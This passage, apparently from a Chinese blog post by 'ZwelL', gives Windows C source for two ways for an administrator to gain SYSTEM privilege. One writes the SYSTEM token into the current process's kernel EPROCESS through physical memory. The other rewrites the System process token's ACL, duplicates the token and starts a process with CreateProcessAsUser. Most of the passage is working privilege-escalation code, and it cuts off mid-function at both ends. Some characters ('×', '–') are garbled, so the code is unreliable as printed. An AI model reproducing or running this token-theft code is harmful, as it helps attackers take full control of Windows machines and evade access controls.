                if( pName )

                {

                    pBaseAddress = (DWORD)pSysModule->Base;

                    free( pBuffer );

                    return pBaseAddress;

                }

                pSysModule ++;

            }

        }



        free( pBuffer );

    }



    return NULL;

}



DWORD GetEprocessFromId (DWORD PID)

{

    NTSTATUS                     status;

    PVOID                        buf   = NULL;

    ULONG                        size  = 1;

    ULONG                        NumOfHandle = 0;

    ULONG                        i;

    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;

    DWORD    n;

    DWORD    retvalue=0;



    buf=malloc(0×1000);

    if(buf == NULL)

    {

        printf("malloc wrong\n");

        return FALSE;

    }

    status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0×1000, &n );

    if(STATUS_INFO_LENGTH_MISMATCH == status)

    {

        free(buf);

        buf=malloc(n);

        if(buf == NULL)

        {

            printf("malloc wrong\n");

            return FALSE;

        }

        status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);

    }

    else

    {

        printf("ZwQuerySystemInformation wrong\n");

        return FALSE;

    }



    NumOfHandle = *(ULONG*)buf;



    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);



    for(i = 0; i<NumOfHandle ;i++)

    {

            if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))

            {

                retvalue=(DWORD)(h_info[i].Object);

                break;

            }

    }



    if ( buf != NULL )

    {

        free( buf );

    }

    return retvalue;

}



void usage(char *exe)

{

    printf("Usage : %s [exefile|-h]\n");

}



int main(int argc, char **argv)

{

    HMODULE hDll;

    DWORD tmp;

    DWORD SystemEprocess;

    DWORD SystemEprocessTokenValue;

    DWORD CurrentEprocess;

    DWORD CurrentEprocessTokenValue;



    printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");

    printf("\tMade by ZwelL.\n");

    printf("\tZwell@sohu.com.\n");

    printf("\thttp://www.donews.net/zwell.\n");

    printf("\tType -h to get more information\n", argv[0]);



    if( argc>=2)

    {

        if(

            ( (strcmp(argv[1],"-h")==0) && (argc==2))

            || (argc>2)

          )

        {

            usage(argv[0]);

            exit(-1);

        }

    }



    if (!InitNTDLL())

    {

        printf("InitNTDLL wrong\n");

        exit(-1);

    }



    if (OpenPhysicalMemory()==0)

    {

        printf("OpenPhysicalMemory wrong\n");

        exit(-1);

    }



    hDll = LoadLibrary("ntoskrnl.exe");

    tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");

    tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;

    SystemEprocess=GetData((PVOID)tmp);

    tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM’s Token address

    SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM’s Token

    printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);



    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );

    CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());

    CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));



    printf("Current EPROCESS : %08x\n", CurrentEprocess);

    printf("Current Process Token : %08x\nPress ENTER to continue…\n",

        CurrentEprocessTokenValue);

    //getchar();

    SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);

    printf("Current Process Token : %08x\n",

        GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));

    printf("Press ENTER to create process…\n");

    //getchar();



    if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))

        == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))  

        )

        // It is so surprised that SYSTEM’s Token always in changing.

        // So before create new process, we should ensure the TOKEN is all right

    {

        ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);

    }

    UnmapViewOfFile(g_pMapPhysicalMemory);

    CloseHandle(g_hMPM);

    CloseNTDLL();



    return 0;

}







在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).



=========================================================================================================

第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。

这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。

用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".



下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:



#include <windows.h>

#include <stdio.h>

#include <Tlhelp32.h>

#include <AccCtrl.h>

#include <Aclapi.h>

#include <wtsapi32.h>



#pragma comment(lib, "wtsapi32")



HANDLE OpenSystemProcess()

{

    HANDLE hSnapshot = NULL;

    HANDLE hProc     = NULL;



    __try

    {

        // Get a snapshot of the processes in the system

        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        if (hSnapshot == NULL)

        {

            printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");

            __leave;

        }



        PROCESSENTRY32 pe32;

        pe32.dwSize = sizeof(pe32);



        // Find the "System" process

        BOOL fProcess = Process32First(hSnapshot, &pe32);

        while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))

            fProcess = Process32Next(hSnapshot, &pe32);

        if (!fProcess)

        {

            printf("OpenSystemProcess Not Found SYSTEM");

            __leave;    // Didn’t find "System" process

        }



        // Open the process with PROCESS_QUERY_INFORMATION access

        hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,

            pe32.th32ProcessID);

        if (hProc == NULL)

        {

            printf("OpenSystemProcess OpenProcess Failed");

            __leave;

        }

    }

    __finally

    {

        // Cleanup the snapshot

       if (hSnapshot != NULL)

           CloseHandle(hSnapshot);

       return(hProc);

    }

}



BOOL EnablePrivilege (PCSTR name)

{

    HANDLE hToken;

    BOOL rv;

    

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };

    LookupPrivilegeValue (

        0,

        name,

        &priv.Privileges[0].Luid

    );

    

    OpenProcessToken(

        GetCurrentProcess (),

        TOKEN_ADJUST_PRIVILEGES,

        &hToken

    );

    

    AdjustTokenPrivileges (

        hToken,

        FALSE,

        &priv,

        sizeof priv,

        0,

        0

    );

    rv = GetLastError () == ERROR_SUCCESS;

    

    CloseHandle (hToken);

    return rv;

}



#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))



BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)

{

    PACL pAcl        = NULL;

    PACL pNewAcl     = NULL;

    PACL pSacl       = NULL;

    PSID pSidOwner   = NULL;

    PSID pSidPrimary = NULL;

    BOOL fSuccess    = TRUE;



    PSECURITY_DESCRIPTOR pSD = NULL;



    __try

    {

        // Find the length of the security object for the kernel object

        DWORD dwSDLength;

        if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,

            &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))

        {

            printf("ModifySecurity GetKernelObjectSecurity Size Failed");

            __leave;

        }



        // Allocate a buffer of that length

        pSD = LocalAlloc(LPTR, dwSDLength);

        if (pSD == NULL)

        {

            printf("ModifySecurity LocalAlloc Failed");

            __leave;

        }



        // Retrieve the kernel object

        if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,

            dwSDLength, &dwSDLength))

        {

            printf("ModifySecurity GetKernelObjectSecurity Failed");

            __leave;

        }



        // Get a pointer to the DACL of the SD

        BOOL fDaclPresent;

        BOOL fDaclDefaulted;

        if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,

            &fDaclDefaulted))

        {

            printf("ModifySecurity GetSecurityDescriptorDacl Failed");

            __leave;

        }



        // Get the current user’s name

        TCHAR szName[1024];

        DWORD dwLen = chDIMOF(szName);

        if (!GetUserName(szName, &dwLen))

        {

            printf("ModifySecurity GetUserName Failed");

            __leave;

        }



        // Build an EXPLICIT_ACCESS structure for the ace we wish to add.

        EXPLICIT_ACCESS ea;

        BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);

        ea.Trustee.TrusteeType = TRUSTEE_IS_USER;



        // We are allocating a new ACL with a new ace inserted.  The new

        // ACL must be LocalFree’d

        if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))

        {

            printf("ModifySecurity SetEntriesInAcl Failed");

            pNewAcl = NULL;

            __leave;

        }



        // Find the buffer sizes we would need to make our SD absolute

        pAcl               = NULL;

        dwSDLength         = 0;

        DWORD dwAclSize    = 0;

        DWORD dwSaclSize   = 0;

        DWORD dwSidOwnLen  = 0;

        DWORD dwSidPrimLen = 0;

        PSECURITY_DESCRIPTOR pAbsSD = NULL;

        if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,

            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)

            || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))

        {

            printf("ModifySecurity MakeAbsoluteSD Size Failed");

            __leave;

        }



        // Allocate the buffers

        pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);

        pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);

        pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);

        pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);

        pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);

        if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))

        {

            printf("ModifySecurity Invalid SID Found");

            __leave;

        }



        // And actually make our SD absolute

        if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,

            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))

        {

            printf("ModifySecurity MakeAbsoluteSD Failed");

            __leave;

        }



        // Now set the security descriptor DACL

        if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,

            fDaclDefaulted))

        {

            printf("ModifySecurity SetSecurityDescriptorDacl Failed");

            __leave;

        }



        // And set the security for the object

        if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))

        {

            printf("ModifySecurity SetKernelObjectSecurity Failed");

            __leave;

        }



        fSuccess = TRUE;



    }

    __finally

    {

        // Cleanup

        if (pNewAcl == NULL)

            LocalFree(pNewAcl);



        if (pSD == NULL)

            LocalFree(pSD);



        if (pAcl == NULL)

            LocalFree(pAcl);



        if (pSacl == NULL)

            LocalFree(pSacl);



        if (pSidOwner == NULL)

            LocalFree(pSidOwner);



        if (pSidPrimary == NULL)

            LocalFree(pSidPrimary);



        if(!fSuccess)

        {

            printf("ModifySecurity exception caught in __finally");

        }



        return(fSuccess);

    }

}



HANDLE GetLSAToken()

{

    HANDLE hProc  = NULL;

    HANDLE hToken = NULL;

    BOOL bSuccess = FALSE;

    __try

    {

        // Enable the SE_DEBUG_NAME privilege in our process token

        if (!EnablePrivilege(SE_DEBUG_NAME))

        {

            printf("GetLSAToken EnablePrivilege Failed");

            __leave;

        }



        // Retrieve a handle to the "System" process

        hProc = OpenSystemProcess();

        if(hProc == NULL)

        {

            printf("GetLSAToken OpenSystemProcess Failed");

            __leave;

        }



        // Open the process token with READ_CONTROL and WRITE_DAC access.  We

        // will use this access to modify the security of the token so that we

        // retrieve it again with a more complete set of rights.

        BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,

            &hToken);

        if(FALSE == fResult)  

        {

            printf("GetLSAToken OpenProcessToken Failed");

            __leave;

        }



        // Add an ace for the current user for the token.  This ace will add

        // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.

        if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY

            | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))

        {

            printf("GetLSAToken ModifySecurity Failed");

            __leave;

        }

        



        // Reopen the process token now that we have added the rights to

        // query the token, duplicate it, and assign it.

        fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE

            | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);

        if (FALSE == fResult)  

        {

            printf("GetLSAToken OpenProcessToken Failed");

            __leave;

        }

        bSuccess = TRUE;

    }

    __finally

    {

        // Close the System process handle

        if (hProc != NULL)    CloseHandle(hProc);

        if(bSuccess)

            return hToken;

        else

        {

            ::CloseHandle(hToken);

            return NULL;

        }

    }

}



#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \

        DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \

        DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \

        DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)



#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES |  \

    WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \

        WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \

        WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \

        WINSTA_READSCREEN | \

        STANDARD_RIGHTS_REQUIRED)



#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)



BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);



BOOL AddAceToDesktop(HDESK hdesk, PSID psid);



BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)

{

    PWTS_PROCESS_INFO pProcessInfo = NULL;

    DWORD             ProcessCount = 0;

    BOOL                ret=FALSE;



    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))

    {

        // dump each process description

        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)

        {



            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )

            {

                //*ppsid = pProcessInfo[CurrentProcess].pUserSid;

                DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);

                *ppsid = (PSID) HeapAlloc(GetProcessHeap(),

                            HEAP_ZERO_MEMORY, dwLength);

                if (*ppsid == NULL)

                    break;

                if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))

                {

                    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);

                    break;

                }

                ret=TRUE;

                break;

            }

        }



        WTSFreeMemory(pProcessInfo);

    }



    return ret;

}



BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)

{

   BOOL bSuccess = FALSE;

   DWORD dwIndex;

   DWORD dwLength = 0;

   PTOKEN_GROUPS ptg = NULL;



// Verify the parameter passed in is not NULL.

    if (NULL == ppsid)

        goto Cleanup;



// Get required buffer size and allocate the TOKEN_GROUPS buffer.



   if (!GetTokenInformation(

         hToken,         // handle to the access token

         TokenGroups,    // get information about the token’s groups

         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer

         0,              // size of buffer

         &dwLength       // receives required buffer size

      ))

   {

      if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)

         goto Cleanup;



      ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),

         HEAP_ZERO_MEMORY, dwLength);



      if (ptg == NULL)

         goto Cleanup;

   }





// Get the token group information from the access token.



   if (!GetTokenInformation(

         hToken,         // handle to the access token

         TokenGroups,    // get information about the token’s groups

         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer

         dwLength,       // size of buffer

         &dwLength       // receives required buffer size

         ))

   {

      goto Cleanup;

   }



// Loop through the groups to find the logon SID.



   for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)

      if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)

             ==  SE_GROUP_LOGON_ID)

      {

      // Found the logon SID; make a copy of it.



         dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);

         *ppsid = (PSID) HeapAlloc(GetProcessHeap(),

                     HEAP_ZERO_MEMORY, dwLength);

         if (*ppsid == NULL)

             goto Cleanup;

         if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))

         {

             HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);

             goto Cleanup;

         }

         break;

      }



   bSuccess = TRUE;



Cleanup:



// Free the buffer for the token groups.



   if (ptg != NULL)

      HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);



   return bSuccess;

}









VOID FreeLogonSID (PSID *ppsid)

{

    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);

}





BOOL StartInteractiveClientProcess (

    LPTSTR lpszUsername,    // client to log on

    LPTSTR lpszDomain,      // domain of client’s account

    LPTSTR lpszPassword,    // client’s password

    LPTSTR lpCommandLine,    // command line to execute

    HANDLE Token = NULL

)

{

   HANDLE      hToken;

   HDESK       hdesk = NULL;

   HWINSTA     hwinsta = NULL, hwinstaSave = NULL;

   PROCESS_INFORMATION pi;

   PSID pSid = NULL;

   STARTUPINFO si;

   BOOL bResult = FALSE;



// Log the client on to the local computer.



   if(Token!=NULL)

   {

       printf("%08x\n", Token);

       hToken = Token;

   }

   else if (!LogonUser(

           lpszUsername,

           lpszDomain,

           lpszPassword,

           LOGON32_LOGON_INTERACTIVE,

           LOGON32_PROVIDER_DEFAULT,

           &hToken) )

   {

      goto Cleanup;

   }



// Save a handle to the caller’s current window station.



   if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)

      goto Cleanup;



// Get a handle to the interactive window station.



   hwinsta = OpenWindowStation(

       "winsta0",                   // the interactive window station

       FALSE,                       // handle is not inheritable

       READ_CONTROL | WRITE_DAC);   // rights to read/write the DACL



   if (hwinsta == NULL)

      goto Cleanup;



// To get the correct default desktop, set the caller’s

// window station to the interactive window station.



   if (!SetProcessWindowStation(hwinsta))

      goto Cleanup;



// Get a handle to the interactive desktop.



   hdesk = OpenDesktop(

      "default",     // the interactive window station

      0,             // no interaction with other desktop processes

      FALSE,         // handle is not inheritable

      READ_CONTROL | // request the rights to read and write the DACL

      WRITE_DAC |

      DESKTOP_WRITEOBJECTS |

      DESKTOP_READOBJECTS);



// Restore the caller’s window station.



   if (!SetProcessWindowStation(hwinstaSave))

      goto Cleanup;



   if (hdesk == NULL)

      goto Cleanup;



// Get the SID for the client’s logon session.



   if (!GetLogonSID(hToken, &pSid))

      goto Cleanup;



// Allow logon SID full access to interactive window station.



   if (! AddAceToWindowStation(hwinsta, pSid) )

      goto Cleanup;



// Allow logon SID full access to interactive desktop.



   if (! AddAceToDesktop(hdesk, pSid) )

      goto Cleanup;



// Impersonate client to ensure access to executable file.



   if (! ImpersonateLoggedOnUser(hToken) )

      goto Cleanup;



// Initialize the STARTUPINFO structure.

// Specify that the process runs in the interactive desktop.



   ZeroMemory(&si, sizeof(STARTUPINFO));

   si.cb= sizeof(STARTUPINFO);

   si.lpDesktop = TEXT("winsta0\\default");  //You can use EnumWindowStations to enum desktop



// Launch the process in the client’s logon session.



   bResult = CreateProcessAsUser(

      hToken,            // client’s access token

      NULL,              // file to execute

      lpCommandLine,     // command line

      NULL,              // pointer to process SECURITY_ATTRIBUTES

      NULL,              // pointer to thread SECURITY_ATTRIBUTES

      FALSE,             // handles are not inheritable

      NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,   // creation flags

      NULL,              // pointer to new environment block

      NULL,              // name of current directory

      &si,               // pointer to STARTUPINFO structure

      &pi                // receives information about new process

   );



// End impersonation of client.



   RevertToSelf();



   goto Cleanup;

   //return bResult; <————————————————————————



   if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)

   {

      WaitForSingleObject(pi.hProcess, INFINITE);

      CloseHandle(pi.hProcess);

   }



   if (pi.hThread != INVALID_HANDLE_VALUE)

      CloseHandle(pi.hThread);  



Cleanup:



   if (hwinstaSave != NULL)

      SetProcessWindowStation (hwinstaSave);



// Free the buffer for the logon SID.



   if (pSid)

      FreeLogonSID(&pSid);



// Close the handles to the interactive window station and desktop.



   if (hwinsta)

      CloseWindowStation(hwinsta);



   if (hdesk)

      CloseDesktop(hdesk);



// Close the handle to the client’s access token.



   if (hToken != INVALID_HANDLE_VALUE)

      CloseHandle(hToken);  



   return bResult;

}



BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)

{

   ACCESS_ALLOWED_ACE   *pace;

   ACL_SIZE_INFORMATION aclSizeInfo;

   BOOL                 bDaclExist;

   BOOL                 bDaclPresent;

   BOOL                 bSuccess = FALSE;

   DWORD                dwNewAclSize;

   DWORD                dwSidSize = 0;

   DWORD                dwSdSizeNeeded;

   PACL                 pacl;

   PACL                 pNewAcl;

   PSECURITY_DESCRIPTOR psd = NULL;

   PSECURITY_DESCRIPTOR psdNew = NULL;

   PVOID                pTempAce;

   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;

   unsigned int         i;



   __try

   {

      // Obtain the DACL for the window station.



      if (!GetUserObjectSecurity(

             hwinsta,

             &si,

             psd,

             dwSidSize,

             &dwSdSizeNeeded)

      )

      if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)

      {

         psd = (PSECURITY_DESCRIPTOR)HeapAlloc(

               GetProcessHeap(),

               HEAP_ZERO_MEMORY,

               dwSdSizeNeeded);



         if (psd == NULL)

            __leave;



         psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(

               GetProcessHeap(),

               HEAP_ZERO_MEMORY,

               dwSdSizeNeeded);



         if (psdNew == NULL)

            __leave;



         dwSidSize = dwSdSizeNeeded;



         if (!GetUserObjectSecurity(

               hwinsta,

               &si,

               psd,

               dwSidSize,

               &dwSdSizeNeeded)

         )

            __leave;

      }

      else

         __leave;



      // Create a new DACL.



      if (!InitializeSecurityDescriptor(

            psdNew,

            SECURITY_DESCRIPTOR_REVISION)

      )

         __leave;



      // Get the DACL from the security descriptor.



      if (!GetSecurityDescriptorDacl(

            psd,

            &bDaclPresent,

            &pacl,

            &bDaclExist)

      )

         __leave;



      // Initialize the ACL.



      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));

      aclSizeInfo.AclBytesInUse = sizeof(ACL);



      // Call only if the DACL is not NULL.



      if (pacl != NULL)

      {

         // get the file ACL size info

         if (!GetAclInformation(

               pacl,

               (LPVOID)&aclSizeInfo,

               sizeof(ACL_SIZE_INFORMATION),

               AclSizeInformation)

         )

            __leave;

      }



      // Compute the size of the new ACL.



      dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) – (2*sizeof(DWORD));



      // Allocate memory for the new ACL.



      pNewAcl = (PACL)HeapAlloc(

            GetProcessHeap(),

            HEAP_ZERO_MEMORY,

            dwNewAclSize);



      if (pNewAcl == NULL)

         __leave;



      // Initialize the new DACL.



      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))

         __leave;



      // If DACL is present, copy it to a new DACL.



      if (bDaclPresent)

      {

         // Copy the ACEs to the new ACL.

         if (aclSizeInfo.AceCount)

         {

            for (i=0; i < aclSizeInfo.AceCount; i++)

            {

               // Get an ACE.

               if (!GetAce(pacl, i, &pTempAce))

                  __leave;



               // Add the ACE to the new ACL.

               if (!AddAce(

                     pNewAcl,

                     ACL_REVISION,

                     MAXDWORD,

                     pTempAce,

                    ((PACE_HEADER)pTempAce)->AceSize)

               )

                  __leave;

            }

         }

      }



      // Add the first ACE to the window station.



      pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(

            GetProcessHeap(),

            HEAP_ZERO_MEMORY,

            sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -

                  sizeof(DWORD));



      if (pace == NULL)

         __leave;



      pace->Header.AceType  = ACCESS_ALLOWED_ACE_TYPE;

      pace->Header.AceFlags = CONTAINER_INHERIT_ACE |

                   INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;

      pace->Header.AceSize  = sizeof(ACCESS_ALLOWED_ACE) +

                   GetLengthSid(psid) – sizeof(DWORD);

      pace->Mask            = GENERIC_ACCESS;



      if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))

         __leave;



      if (!AddAce(

            pNewAcl,

            ACL_REVISION,

            MAXDWORD,

            (LPVOID)pace,

            pace->Header.AceSize)

      )

         __leave;



      // Add the second ACE to the window station.



      pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;

      pace->Mask            = WINSTA_ALL;



      if (!AddAce(

            pNewAcl,

            ACL_REVISION,

            MAXDWORD,

            (LPVOID)pace,

            pace->Header.AceSize)

      )

         __leave;



      // Set a new DACL for the security descriptor.



      if (!SetSecurityDescriptorDacl(

            psdNew,

            TRUE,

            pNewAcl,

            FALSE)

      )

         __leave;



      // Set the new security descriptor for the window station.



      if (!SetUserObjectSecurity(hwinsta, &si, psdNew))

         __leave;



      // Indicate success.



      bSuccess = TRUE;

   }

   __finally

   {

      // Free the allocated buffers.



      if (pace != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)pace);



      if (pNewAcl != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);



      if (psd != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);



      if (psdNew != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);

   }



   return bSuccess;



}



BOOL AddAceToDesktop(HDESK hdesk, PSID psid)

{

   ACL_SIZE_INFORMATION aclSizeInfo;

   BOOL                 bDaclExist;

   BOOL                 bDaclPresent;

   BOOL                 bSuccess = FALSE;

   DWORD                dwNewAclSize;

   DWORD                dwSidSize = 0;

   DWORD                dwSdSizeNeeded;

   PACL                 pacl;

   PACL                 pNewAcl;

   PSECURITY_DESCRIPTOR psd = NULL;

   PSECURITY_DESCRIPTOR psdNew = NULL;

   PVOID                pTempAce;

   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;

   unsigned int         i;



   __try

   {

      // Obtain the security descriptor for the desktop object.



      if (!GetUserObjectSecurity(

            hdesk,

            &si,

            psd,

            dwSidSize,

            &dwSdSizeNeeded))

      {

         if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)

         {

            psd = (PSECURITY_DESCRIPTOR)HeapAlloc(

                  GetProcessHeap(),

                  HEAP_ZERO_MEMORY,

                  dwSdSizeNeeded );



            if (psd == NULL)

               __leave;



            psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(

                  GetProcessHeap(),

                  HEAP_ZERO_MEMORY,

                  dwSdSizeNeeded);



            if (psdNew == NULL)

               __leave;



            dwSidSize = dwSdSizeNeeded;



            if (!GetUserObjectSecurity(

                  hdesk,

                  &si,

                  psd,

                  dwSidSize,

                  &dwSdSizeNeeded)

            )

               __leave;

         }

         else

            __leave;

      }



      // Create a new security descriptor.



      if (!InitializeSecurityDescriptor(

            psdNew,

            SECURITY_DESCRIPTOR_REVISION)

      )

         __leave;



      // Obtain the DACL from the security descriptor.



      if (!GetSecurityDescriptorDacl(

            psd,

            &bDaclPresent,

            &pacl,

            &bDaclExist)

      )

         __leave;



      // Initialize.



      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));

      aclSizeInfo.AclBytesInUse = sizeof(ACL);



      // Call only if NULL DACL.



      if (pacl != NULL)

      {

         // Determine the size of the ACL information.



         if (!GetAclInformation(

               pacl,

               (LPVOID)&aclSizeInfo,

               sizeof(ACL_SIZE_INFORMATION),

               AclSizeInformation)

         )

            __leave;

      }



      // Compute the size of the new ACL.



      dwNewAclSize = aclSizeInfo.AclBytesInUse +

            sizeof(ACCESS_ALLOWED_ACE) +

            GetLengthSid(psid) – sizeof(DWORD);



      // Allocate buffer for the new ACL.



      pNewAcl = (PACL)HeapAlloc(

            GetProcessHeap(),

            HEAP_ZERO_MEMORY,

            dwNewAclSize);



      if (pNewAcl == NULL)

         __leave;



      // Initialize the new ACL.



      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))

         __leave;



      // If DACL is present, copy it to a new DACL.



      if (bDaclPresent)

      {

         // Copy the ACEs to the new ACL.

         if (aclSizeInfo.AceCount)

         {

            for (i=0; i < aclSizeInfo.AceCount; i++)

            {

               // Get an ACE.

               if (!GetAce(pacl, i, &pTempAce))

                  __leave;



               // Add the ACE to the new ACL.

               if (!AddAce(

                  pNewAcl,

                  ACL_REVISION,

                  MAXDWORD,

                  pTempAce,

                  ((PACE_HEADER)pTempAce)->AceSize)

               )

                  __leave;

            }

         }

      }



      // Add ACE to the DACL.



      if (!AddAccessAllowedAce(

            pNewAcl,

            ACL_REVISION,

            DESKTOP_ALL,

            psid)

      )

         __leave;



      // Set new DACL to the new security descriptor.



      if (!SetSecurityDescriptorDacl(

            psdNew,

            TRUE,

            pNewAcl,

            FALSE)

      )

         __leave;



      // Set the new security descriptor for the desktop object.



      if (!SetUserObjectSecurity(hdesk, &si, psdNew))

         __leave;



      // Indicate success.



      bSuccess = TRUE;

   }

   __finally

   {

      // Free buffers.



      if (pNewAcl != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);



      if (psd != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);



      if (psdNew != NULL)

         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);

   }



   return bSuccess;

}



int main(int argc, char **argv)

{

    HANDLE hToken = NULL;

    EnablePrivilege(SE_DEBUG_NAME);

    hToken = GetLSAToken();

